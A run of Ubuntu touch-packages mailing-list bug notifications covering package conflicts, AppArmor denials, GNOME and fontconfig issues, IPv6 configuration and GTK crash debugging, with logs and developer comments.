[Touch-packages] [Bug 1890854] Re: Conflict with python2

[Bug Watch Updater]

** Changed in: dh-python (Debian)
   Status: Unknown => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dh-python in Ubuntu.
https://bugs.launchpad.net/bugs/1890854

Title:
  Conflict with python2

Status in dh-python package in Ubuntu:
  Fix Released
Status in dh-python package in Debian:
  Fix Released

Bug description:
  During a package update in groovy I got this error message:

  Unpacking dh-python (4.20200804ubuntu1) over (4.20200315ubuntu1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-JUlowz/00-dh-python_4.20200804ubuntu1_all.deb (--unpack):
   trying to overwrite '/usr/share/debhelper/autoscripts/postinst-pycompile', 
which is also in package python2 2.7.17-2ubuntu4
  dpkg-deb: error: paste subprocess was killed by signal (Broken pipe)

  +++

  Errors were encountered while processing:
   /tmp/apt-dpkg-install-JUlowz/00-dh-python_4.20200804ubuntu1_all.deb
  E: Sub-process /usr/bin/dpkg returned an error code (1)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dh-python/+bug/1890854/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1905800] Re: Apparmor denies pid file creation for dhclient when started by network-manager

[TJ]

** Changed in: isc-dhcp (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to isc-dhcp in Ubuntu.
https://bugs.launchpad.net/bugs/1905800

Title:
  Apparmor denies pid file creation for dhclient when started by
  network-manager

Status in isc-dhcp package in Ubuntu:
  Confirmed

Bug description:
  I'm using package isc-dhcp-client version 4.4.1-2.1ubuntu5

  I'm getting these messages in syslog:

dhclient[3308281]: Can't create /run/NetworkManager/dhclient-wlp23s1.pid: 
Permission denied
audit: type=1400 audit(1606420037.168:811): apparmor="DENIED" 
operation="mknod" profile="/{,usr/}sbin/dhclient" 
name="/run/NetworkManager/dhclient-wlp23s1.pid" pid=3308281 comm="dhclient" 
requested_mask="c" denied_mask="c" fsuid=0 ouid=0

dhclient[3308357]: Can't create /run/NetworkManager/dhclient6-wlp23s1.pid: 
Permission denied
audit: type=1400 audit(1606420039.268:816): apparmor="DENIED" 
operation="mknod" profile="/{,usr/}sbin/dhclient" 
name="/run/NetworkManager/dhclient6-wlp23s1.pid" pid=3308357 comm="dhclient" 
requested_mask="c" denied_mask="c" fsuid=0 ouid=0

  Adding "/run/NetworkManager/dhclient{,6}-*.pid lrw," to the apparmor
  profile in /etc/apparmor.d/sbin.dhclient fixes the issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/isc-dhcp/+bug/1905800/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1916827] [NEW] Update libgweather to v40

[Daniel van Vugt]

Public bug reported:

Without the latest gweather v40, gnome-shell 40 fails to start:

(gnome-shell:14525): Gjs-CRITICAL **: 14:24:49.987: JS ERROR: Error: No 
property application_id on GWeatherInfo
WeatherClient@resource:///org/gnome/shell/misc/weather.js:75:29
_init@resource:///org/gnome/shell/ui/dateMenu.js:478:31
_init@resource:///org/gnome/shell/ui/dateMenu.js:872:29
_ensureIndicator@resource:///org/gnome/shell/ui/panel.js:1012:25
_updateBox@resource:///org/gnome/shell/ui/panel.js:1023:34
_updatePanel@resource:///org/gnome/shell/ui/panel.js:968:14
_init@resource:///org/gnome/shell/ui/panel.js:778:14
_initializeUI@resource:///org/gnome/shell/ui/main.js:228:13
start@resource:///org/gnome/shell/ui/main.js:169:5
@:1:47

** Affects: libgweather (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: upgrade-software-version

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libgweather in Ubuntu.
https://bugs.launchpad.net/bugs/1916827

Title:
  Update libgweather to v40

Status in libgweather package in Ubuntu:
  New

Bug description:
  Without the latest gweather v40, gnome-shell 40 fails to start:

  (gnome-shell:14525): Gjs-CRITICAL **: 14:24:49.987: JS ERROR: Error: No 
property application_id on GWeatherInfo
  WeatherClient@resource:///org/gnome/shell/misc/weather.js:75:29
  _init@resource:///org/gnome/shell/ui/dateMenu.js:478:31
  _init@resource:///org/gnome/shell/ui/dateMenu.js:872:29
  _ensureIndicator@resource:///org/gnome/shell/ui/panel.js:1012:25
  _updateBox@resource:///org/gnome/shell/ui/panel.js:1023:34
  _updatePanel@resource:///org/gnome/shell/ui/panel.js:968:14
  _init@resource:///org/gnome/shell/ui/panel.js:778:14
  _initializeUI@resource:///org/gnome/shell/ui/main.js:228:13
  start@resource:///org/gnome/shell/ui/main.js:169:5
  @:1:47

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libgweather/+bug/1916827/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1034928] Re: Fontconfig warning: Having multiple values in isn't supported and may not works as expected

[Bug Watch Updater]

** Changed in: ttf-wqy-zenhei (Debian)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to fonts-arphic-ukai in
Ubuntu.
https://bugs.launchpad.net/bugs/1034928

Title:
  Fontconfig warning: Having multiple values in  isn't supported
  and may not works as expected

Status in culmus package in Ubuntu:
  Fix Released
Status in fonts-arphic-ukai package in Ubuntu:
  Fix Released
Status in fonts-arphic-uming package in Ubuntu:
  Fix Released
Status in fonts-baekmuk package in Ubuntu:
  Fix Released
Status in fonts-droid package in Ubuntu:
  Fix Released
Status in fonts-nanum package in Ubuntu:
  Fix Released
Status in fonts-nanum-coding package in Ubuntu:
  Fix Released
Status in fonts-sil-andika package in Ubuntu:
  Fix Released
Status in fonts-tlwg package in Ubuntu:
  Fix Released
Status in fonts-unfonts-core package in Ubuntu:
  Fix Released
Status in fonts-unfonts-extra package in Ubuntu:
  Fix Released
Status in language-selector package in Ubuntu:
  Fix Released
Status in libreoffice package in Ubuntu:
  Fix Released
Status in ttf-wqy-zenhei package in Ubuntu:
  Fix Released
Status in culmus source package in Quantal:
  Fix Released
Status in fonts-arphic-ukai source package in Quantal:
  Fix Released
Status in fonts-arphic-uming source package in Quantal:
  Fix Released
Status in fonts-baekmuk source package in Quantal:
  Fix Released
Status in fonts-droid source package in Quantal:
  Fix Released
Status in fonts-nanum source package in Quantal:
  Fix Released
Status in fonts-nanum-coding source package in Quantal:
  Fix Released
Status in fonts-sil-andika source package in Quantal:
  Fix Released
Status in fonts-tlwg source package in Quantal:
  Fix Released
Status in fonts-unfonts-core source package in Quantal:
  Fix Released
Status in fonts-unfonts-extra source package in Quantal:
  Fix Released
Status in language-selector source package in Quantal:
  Fix Released
Status in ttf-wqy-zenhei source package in Quantal:
  Fix Released
Status in fonts-arphic-ukai package in Debian:
  Fix Released
Status in fonts-arphic-uming package in Debian:
  Fix Released
Status in fonts-baekmuk package in Debian:
  Fix Released
Status in fonts-droid package in Debian:
  Fix Released
Status in fonts-nanum package in Debian:
  Fix Released
Status in fonts-sil-andika package in Debian:
  Fix Released
Status in fonts-unfonts-core package in Debian:
  Fix Released
Status in fonts-unfonts-extra package in Debian:
  Fix Released
Status in ttf-wqy-zenhei package in Debian:
  Fix Released
Status in Fedora:
  Fix Released

Bug description:
  In 12.10, fontconfig prints warnings similar to the following whenever
  fontconfig is invoked:

  Fontconfig warning: "/etc/fonts/conf.d/90-fonts-unfonts-core.conf",
  line 11: Having multiple values in  isn't supported and may not
  works as expected

  This affects fonts from a number of packages:
  fonts-arphic-ukai: /etc/fonts/conf.d/41-arphic-ukai.conf
  fonts-arphic-uming: /etc/fonts/conf.d/41-arphic-uming.conf
  fonts-droid: /etc/fonts/conf.d/65-droid-sans-fonts.conf
  fonts-tlwg-garuda: /etc/fonts/conf.d/89-tlwg-garuda-synthetic.conf
  fonts-tlwg-kinnari: /etc/fonts/conf.d/89-tlwg-kinnari-synthetic.conf
  fonts-tlwg-loma: /etc/fonts/conf.d/89-tlwg-loma-synthetic.conf
  fonts-tlwg-umpush: /etc/fonts/conf.d/89-tlwg-umpush-synthetic.conf
  fonts-nanum: /etc/fonts/conf.d/90-fonts-nanum.conf
  fonts-unfonts-core: /etc/fonts/conf.d/90-fonts-unfonts-core.conf

  [Test Case]
  1) Install the fonts in question
  2) Open a terminal
  3) Launch 'gedit' from the terminal

  Expected results:
  gedit launches, no fontconfig warnings in the terminal

  Actual results:
  gedit launches, fontconfig warnings are displayed in the terminal

  [Regression Potential]
  In case of a regression, the font in question can be affected.

  ProblemType: Bug
  DistroRelease: Ubuntu 12.10
  Package: fonts-unfonts-core 1.0.3.is.1.0.2-080608-5ubuntu1
  ProcVersionSignature: Ubuntu 3.5.0-8.8-generic 3.5.0
  Uname: Linux 3.5.0-8-generic x86_64
  ApportVersion: 2.4-0ubuntu6
  Architecture: amd64
  Date: Thu Aug  9 10:02:59 2012
  Dependencies:

  InstallationMedia: Ubuntu 10.10 "Maverick Meerkat" - Beta amd64 (20100901.1)
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm
   PATH=(custom, user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: fonts-unfonts-core
  UpgradeStatus: Upgraded to quantal on 2012-08-07 (1 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/culmus/+bug/1034928/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1510098] Re: /etc/network/interfaces ipv6 static gateway not set

[Bug Watch Updater]

** Changed in: ifupdown (Debian)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ifupdown in Ubuntu.
https://bugs.launchpad.net/bugs/1510098

Title:
  /etc/network/interfaces ipv6 static gateway not set

Status in ifupdown package in Ubuntu:
  Confirmed
Status in ifupdown package in Debian:
  Fix Released

Bug description:
  After installing 15.10 ipv6 gateway not set on start up.  In 15.04 it
  worked fine

  andrej@nikel:~$ cat /etc/network/interfaces
  auto lo enp4s0

  iface lo inet loopback
  iface enp4s0 inet manual
  iface enp4s0 inet6 static
    address :200:8221::---
    netmask 64
    gateway 198:20-

  andrej@nikel:~$ ip -6 route
  ---0:8221::/64 dev enp4s0  proto kernel  metric 256  mtu 1500 pref medium
  fe80::/64 dev enp4s0  proto kernel  metric 256  mtu 1500 pref medium
  fe80::/64 dev lxcbr0  proto kernel  metric 256  pref medium
  fe80::/64 dev docker0  proto kernel  metric 256  pref medium

  3: enp4s0:  mtu 9000 qdisc pfifo_fast state 
UP group default qlen 1000
  link/ether --7:98 brd ff:ff:ff:ff:ff:ff
  inet 10.0.4.1/8 brd 10.255.255.255 scope global enp4s0
     valid_lft forever preferred_lft forever
  inet6 200:8221::--/64 scope global
     valid_lft forever preferred_lft forever
  inet6 -15:17ff:fe9e:b798/64 scope global mngtmpaddr dynamic
     valid_lft 83024sec preferred_lft 11024sec
  inet6 fe80::215:17ff:fe9e:b798/64 scope link
     valid_lft forever preferred_lft forever

  andrej@nikel:~$ cat /etc/sysctl.conf
  net.ipv4.conf.default.rp_filter= 1
  net.ipv4.conf.all.rp_filter= 1
  net.ipv4.tcp_syncookies= 1

  net.ipv6.conf.all.use_tempaddr = 2
  net.ipv6.conf.default.use_tempaddr = 2
  net.ipv6.conf.enp4s0.use_tempaddr  = 2

  andrej@nikel:/proc/sys/net/ipv6/conf/enp4s0$ for i in *; do echo -n "$i: " ; 
cat $i ; done
  accept_dad: 1
  accept_ra: 0
  accept_ra_defrtr: 1
  accept_ra_from_local: 0
  accept_ra_mtu: 1
  accept_ra_pinfo: 1
  accept_ra_rt_info_max_plen: 0
  accept_ra_rtr_pref: 1
  accept_redirects: 1
  accept_source_route: 0
  autoconf: 0
  dad_transmits: 1
  disable_ipv6: 0
  force_mld_version: 0
  force_tllao: 0
  forwarding: 0
  hop_limit: 64
  max_addresses: 16
  max_desync_factor: 600
  mc_forwarding: 0
  mldv1_unsolicited_report_interval: 1
  mldv2_unsolicited_report_interval: 1000
  mtu: 1500
  ndisc_notify: 0
  proxy_ndp: 0
  regen_max_retry: 3
  router_probe_interval: 60
  router_solicitation_delay: 1
  router_solicitation_interval: 4
  router_solicitations: 3
  cat: stable_secret: Permission denied
  stable_secret: suppress_frag_ndisc: 1
  temp_prefered_lft: 86400
  temp_valid_lft: 604800
  use_tempaddr: 2

  Maybe related:
  https://bugs.launchpad.net/ubuntu/+source/miredo/+bug/1510047

  ProblemType: Bug
  DistroRelease: Ubuntu 15.10
  Package: ifupdown 0.7.54ubuntu1
  ProcVersionSignature: Ubuntu 4.2.0-16.19-generic 4.2.3
  Uname: Linux 4.2.0-16-generic x86_64
  ApportVersion: 2.19.1-0ubuntu3
  Architecture: amd64
  Date: Mon Oct 26 14:41:55 2015
  JournalErrors:
   No journal files were found.
   -- No entries --
  SourcePackage: ifupdown
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ifupdown/+bug/1510098/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1911036] Re: GDK/GTK app crash when performing drag operation

[Daniel van Vugt]

... then type 'cont' in gdb, then crash thunar.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1911036

Title:
  GDK/GTK app crash when performing drag operation

Status in gtk+3.0 package in Ubuntu:
  Incomplete
Status in thunar package in Ubuntu:
  Incomplete

Bug description:
  For many months now, whenever any mouse drag is attempted in an
  application using the gtk tool kit, the application immediately
  crashes. I've noticed this at least in Firefox and thunar. It also
  occurs when displaying these applications from a Virtualbox machine or
  from another server running something other than Ubuntu.  The VM was
  running CentOS 8 and the remote server was running Mageia. Both
  Firefox and thunar run fine with Mageia's Xorg. It seems like the
  issue may be with the Xorg server on Ubuntu.

  I tried setting the GDK_SYNCHRONIZE variable to various settings but
  was unable to produce further debug output. The only other debug
  output I was able to gather is when running thunar with the --gtk-
  debug parameter (attached). I also tried running thunar with GDB but
  without recompiling it, it doesn't produce much information other than
  it's stopping in glib.

  Let me know what other information I can provide.

  (firefox:110380): Gdk-ERROR **: 13:47:04.663: The program 'firefox' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 8405 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  ExceptionHandler::GenerateDump cloned child 110611
  ExceptionHandler::SendContinueSignalToChild sent continue signal to child
  ExceptionHandler::WaitForContinueSignal waiting for continue signal...
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  [1]+  Trace/breakpoint trap   (core dumped) firefox

  (Thunar:2961220): Gdk-ERROR **: 13:55:39.621: The program 'Thunar' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 64804 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  Trace/breakpoint trap (core dumped)

  $ ldd /bin/thunar
  linux-vdso.so.1 (0x7ffc0c8cc000)
  libthunarx-3.so.0 => /lib/x86_64-linux-gnu/libthunarx-3.so.0 
(0x7fdbb548c000)
  libexo-2.so.0 => /lib/x86_64-linux-gnu/libexo-2.so.0 
(0x7fdbb544f000)
  libgudev-1.0.so.0 => /lib/x86_64-linux-gnu/libgudev-1.0.so.0 
(0x7fdbb5442000)
  libnotify.so.4 => /lib/x86_64-linux-gnu/libnotify.so.4 
(0x7fdbb5437000)
  libSM.so.6 => /lib/x86_64-linux-gnu/libSM.so.6 (0x7fdbb542c000)
  libICE.so.6 => /lib/x86_64-linux-gnu/libICE.so.6 (0x7fdbb540e000)
  libxfce4ui-2.so.0 => /lib/x86_64-linux-gnu/libxfce4ui-2.so.0 
(0x7fdbb53f3000)
  libgtk-3.so.0 => /lib/x86_64-linux-gnu/libgtk-3.so.0 
(0x7fdbb4c42000)
  libgdk-3.so.0 => /lib/x86_64-linux-gnu/libgdk-3.so.0 
(0x7fdbb4b3d000)
  libatk-1.0.so.0 => /lib/x86_64-linux-gnu/libatk-1.0.so.0 
(0x7fdbb4b13000)
  libcairo.so.2 => /lib/x86_64-linux-gnu/libcairo.so.2 
(0x7fdbb49f)
  libgdk_pixbuf-2.0.so.0 => 
/lib/x86_64-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x7fdbb49c8000)
  libxfce4util.so.7 => /lib/x86_64-linux-gnu/libxfce4util.so.7 
(0x7fdbb49b4000)
  libxfconf-0.so.3 => /lib/x86_64-linux-gnu/libxfconf-0.so.3 
(0x7fdbb4996000)
  libpango-1.0.so.0 => /lib/x86_64-linux-gnu/libpango-1.0.so.0 
(0x7fdbb4947000)
  libgio-2.0.so.0 => /lib/x86_64-linux-gnu/libgio-2.0.so.0 
(0x7fdbb4766000)
  libgobject-2.0.so.0 => /lib/x86_64-linux-gnu/libgobject-2.0.so.0 
(0x7fdbb4706000)
  libglib-2.0.so.0 => /lib/x86_64-linux-gnu/libglib-2.0.so.0 
(0x7fdbb45dd000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7fdbb43e9000)
  libgmodule-2.0.so.0 => /lib/x86_64-linux-gnu/libgmodule-2.0.so.0 
(0x7fdbb43e3000)
  libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 

[Touch-packages] [Bug 1911036] Re: GDK/GTK app crash when performing drag operation

[Daniel van Vugt]

I mean start thunar graphically, then attach to it with gdb from ssh.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1911036

Title:
  GDK/GTK app crash when performing drag operation

Status in gtk+3.0 package in Ubuntu:
  Incomplete
Status in thunar package in Ubuntu:
  Incomplete

Bug description:
  For many months now, whenever any mouse drag is attempted in an
  application using the gtk tool kit, the application immediately
  crashes. I've noticed this at least in Firefox and thunar. It also
  occurs when displaying these applications from a Virtualbox machine or
  from another server running something other than Ubuntu.  The VM was
  running CentOS 8 and the remote server was running Mageia. Both
  Firefox and thunar run fine with Mageia's Xorg. It seems like the
  issue may be with the Xorg server on Ubuntu.

  I tried setting the GDK_SYNCHRONIZE variable to various settings but
  was unable to produce further debug output. The only other debug
  output I was able to gather is when running thunar with the --gtk-
  debug parameter (attached). I also tried running thunar with GDB but
  without recompiling it, it doesn't produce much information other than
  it's stopping in glib.

  Let me know what other information I can provide.

  (firefox:110380): Gdk-ERROR **: 13:47:04.663: The program 'firefox' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 8405 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  ExceptionHandler::GenerateDump cloned child 110611
  ExceptionHandler::SendContinueSignalToChild sent continue signal to child
  ExceptionHandler::WaitForContinueSignal waiting for continue signal...
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  [1]+  Trace/breakpoint trap   (core dumped) firefox

  (Thunar:2961220): Gdk-ERROR **: 13:55:39.621: The program 'Thunar' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 64804 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  Trace/breakpoint trap (core dumped)

  $ ldd /bin/thunar
  linux-vdso.so.1 (0x7ffc0c8cc000)
  libthunarx-3.so.0 => /lib/x86_64-linux-gnu/libthunarx-3.so.0 
(0x7fdbb548c000)
  libexo-2.so.0 => /lib/x86_64-linux-gnu/libexo-2.so.0 
(0x7fdbb544f000)
  libgudev-1.0.so.0 => /lib/x86_64-linux-gnu/libgudev-1.0.so.0 
(0x7fdbb5442000)
  libnotify.so.4 => /lib/x86_64-linux-gnu/libnotify.so.4 
(0x7fdbb5437000)
  libSM.so.6 => /lib/x86_64-linux-gnu/libSM.so.6 (0x7fdbb542c000)
  libICE.so.6 => /lib/x86_64-linux-gnu/libICE.so.6 (0x7fdbb540e000)
  libxfce4ui-2.so.0 => /lib/x86_64-linux-gnu/libxfce4ui-2.so.0 
(0x7fdbb53f3000)
  libgtk-3.so.0 => /lib/x86_64-linux-gnu/libgtk-3.so.0 
(0x7fdbb4c42000)
  libgdk-3.so.0 => /lib/x86_64-linux-gnu/libgdk-3.so.0 
(0x7fdbb4b3d000)
  libatk-1.0.so.0 => /lib/x86_64-linux-gnu/libatk-1.0.so.0 
(0x7fdbb4b13000)
  libcairo.so.2 => /lib/x86_64-linux-gnu/libcairo.so.2 
(0x7fdbb49f)
  libgdk_pixbuf-2.0.so.0 => 
/lib/x86_64-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x7fdbb49c8000)
  libxfce4util.so.7 => /lib/x86_64-linux-gnu/libxfce4util.so.7 
(0x7fdbb49b4000)
  libxfconf-0.so.3 => /lib/x86_64-linux-gnu/libxfconf-0.so.3 
(0x7fdbb4996000)
  libpango-1.0.so.0 => /lib/x86_64-linux-gnu/libpango-1.0.so.0 
(0x7fdbb4947000)
  libgio-2.0.so.0 => /lib/x86_64-linux-gnu/libgio-2.0.so.0 
(0x7fdbb4766000)
  libgobject-2.0.so.0 => /lib/x86_64-linux-gnu/libgobject-2.0.so.0 
(0x7fdbb4706000)
  libglib-2.0.so.0 => /lib/x86_64-linux-gnu/libglib-2.0.so.0 
(0x7fdbb45dd000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x7fdbb43e9000)
  libgmodule-2.0.so.0 => /lib/x86_64-linux-gnu/libgmodule-2.0.so.0 
(0x7fdbb43e3000)
  libm.so.6 => 

[Touch-packages] [Bug 1911036] Re: GDK/GTK app crash when performing drag operation

[XXX]

I tried that as I mentioned above.  It doesn't crash in that scenario.
I can ssh in from another computer and run thunar but I can't reproduce
the crash this way.  This is why I think it might have to do with the
X11 server or lightdm.

I can see if I can mess with xauth to run via ssh and keep it displaying
on the "broken" computer...

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1911036

Title:
  GDK/GTK app crash when performing drag operation

Status in gtk+3.0 package in Ubuntu:
  Incomplete
Status in thunar package in Ubuntu:
  Incomplete

Bug description:
  For many months now, whenever any mouse drag is attempted in an
  application using the gtk tool kit, the application immediately
  crashes. I've noticed this at least in Firefox and thunar. It also
  occurs when displaying these applications from a Virtualbox machine or
  from another server running something other than Ubuntu.  The VM was
  running CentOS 8 and the remote server was running Mageia. Both
  Firefox and thunar run fine with Mageia's Xorg. It seems like the
  issue may be with the Xorg server on Ubuntu.

  I tried setting the GDK_SYNCHRONIZE variable to various settings but
  was unable to produce further debug output. The only other debug
  output I was able to gather is when running thunar with the --gtk-
  debug parameter (attached). I also tried running thunar with GDB but
  without recompiling it, it doesn't produce much information other than
  it's stopping in glib.

  Let me know what other information I can provide.

  (firefox:110380): Gdk-ERROR **: 13:47:04.663: The program 'firefox' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 8405 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  ExceptionHandler::GenerateDump cloned child 110611
  ExceptionHandler::SendContinueSignalToChild sent continue signal to child
  ExceptionHandler::WaitForContinueSignal waiting for continue signal...
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  [1]+  Trace/breakpoint trap   (core dumped) firefox

  (Thunar:2961220): Gdk-ERROR **: 13:55:39.621: The program 'Thunar' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 64804 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  Trace/breakpoint trap (core dumped)

  $ ldd /bin/thunar
  linux-vdso.so.1 (0x7ffc0c8cc000)
  libthunarx-3.so.0 => /lib/x86_64-linux-gnu/libthunarx-3.so.0 
(0x7fdbb548c000)
  libexo-2.so.0 => /lib/x86_64-linux-gnu/libexo-2.so.0 
(0x7fdbb544f000)
  libgudev-1.0.so.0 => /lib/x86_64-linux-gnu/libgudev-1.0.so.0 
(0x7fdbb5442000)
  libnotify.so.4 => /lib/x86_64-linux-gnu/libnotify.so.4 
(0x7fdbb5437000)
  libSM.so.6 => /lib/x86_64-linux-gnu/libSM.so.6 (0x7fdbb542c000)
  libICE.so.6 => /lib/x86_64-linux-gnu/libICE.so.6 (0x7fdbb540e000)
  libxfce4ui-2.so.0 => /lib/x86_64-linux-gnu/libxfce4ui-2.so.0 
(0x7fdbb53f3000)
  libgtk-3.so.0 => /lib/x86_64-linux-gnu/libgtk-3.so.0 
(0x7fdbb4c42000)
  libgdk-3.so.0 => /lib/x86_64-linux-gnu/libgdk-3.so.0 
(0x7fdbb4b3d000)
  libatk-1.0.so.0 => /lib/x86_64-linux-gnu/libatk-1.0.so.0 
(0x7fdbb4b13000)
  libcairo.so.2 => /lib/x86_64-linux-gnu/libcairo.so.2 
(0x7fdbb49f)
  libgdk_pixbuf-2.0.so.0 => 
/lib/x86_64-linux-gnu/libgdk_pixbuf-2.0.so.0 (0x7fdbb49c8000)
  libxfce4util.so.7 => /lib/x86_64-linux-gnu/libxfce4util.so.7 
(0x7fdbb49b4000)
  libxfconf-0.so.3 => /lib/x86_64-linux-gnu/libxfconf-0.so.3 
(0x7fdbb4996000)
  libpango-1.0.so.0 => /lib/x86_64-linux-gnu/libpango-1.0.so.0 
(0x7fdbb4947000)
  libgio-2.0.so.0 => /lib/x86_64-linux-gnu/libgio-2.0.so.0 
(0x7fdbb4766000)
  libgobject-2.0.so.0 => /lib/x86_64-linux-gnu/libgobject-2.0.so.0 
(0x7fdbb4706000)
  libglib-2.0.so.0 => 

[Touch-packages] [Bug 1911036] Re: GDK/GTK app crash when performing drag operation

[Daniel van Vugt]

Try running gdb from within ssh :)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1911036

Title:
  GDK/GTK app crash when performing drag operation

Status in gtk+3.0 package in Ubuntu:
  Incomplete
Status in thunar package in Ubuntu:
  Incomplete

Bug description:
  For many months now, whenever any mouse drag is attempted in an
  application using the gtk tool kit, the application immediately
  crashes. I've noticed this at least in Firefox and thunar. It also
  occurs when displaying these applications from a Virtualbox machine or
  from another server running something other than Ubuntu.  The VM was
  running CentOS 8 and the remote server was running Mageia. Both
  Firefox and thunar run fine with Mageia's Xorg. It seems like the
  issue may be with the Xorg server on Ubuntu.

  I tried setting the GDK_SYNCHRONIZE variable to various settings but
  was unable to produce further debug output. The only other debug
  output I was able to gather is when running thunar with the --gtk-
  debug parameter (attached). I also tried running thunar with GDB but
  without recompiling it, it doesn't produce much information other than
  it's stopping in glib.

  Let me know what other information I can provide.

  (firefox:110380): Gdk-ERROR **: 13:47:04.663: The program 'firefox' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 8405 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  ExceptionHandler::GenerateDump cloned child 110611
  ExceptionHandler::SendContinueSignalToChild sent continue signal to child
  ExceptionHandler::WaitForContinueSignal waiting for continue signal...
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  [1]+  Trace/breakpoint trap   (core dumped) firefox

  (Thunar:2961220): Gdk-ERROR **: 13:55:39.621: The program 'Thunar' received 
an X Window System error.
  This probably reflects a bug in the program.
